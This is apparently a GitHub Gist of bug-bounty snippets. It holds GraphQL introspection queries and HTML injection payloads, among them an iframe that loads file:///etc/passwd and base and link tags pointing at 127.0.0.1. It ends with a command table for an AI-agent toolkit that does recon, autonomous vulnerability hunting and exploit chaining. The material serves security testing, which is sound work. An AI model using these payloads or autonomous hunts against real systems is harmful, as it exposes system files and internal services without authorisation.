Skip to content

Instantly share code, notes, and snippets.

{
"query": "{ __typename }"
}
---------------------
{
"query": "{ __schema { queryType { name } mutationType { name } subscriptionType { name } } }"
}
<iframe src="file:///etc/passwd" height="1000px" width="1000px"></iframe>
<iframe src=\"https://example.com/\"></iframe>
<!-- Using base HTML tag -->
<base href="http://127.0.0.1" />
<!-- Loading external stylesheet/script -->
<link rel="stylesheet" src="http://127.0.0.1" />
We couldn’t find that file to show.
/recon <target> Full recon — subdomains, live hosts, URLs, tech ReconAgent
/hunt <target> Active vulnerability testing (33 classes) AutopilotAgent
/autopilot <target> <mode> Full autonomous hunt loop AutopilotAgent
/validate 7-Question Gate on findings ValidatorAgent
/report Generate submission-ready report ReportWriter
/triage Quick go/no-go check ValidatorAgent
/chain Build exploit chains ChainBuilder
/scope <asset> Verify asset is in scope —
/intel <target> CVEs, disclosed reports —
/takeover Subdomain takeover check —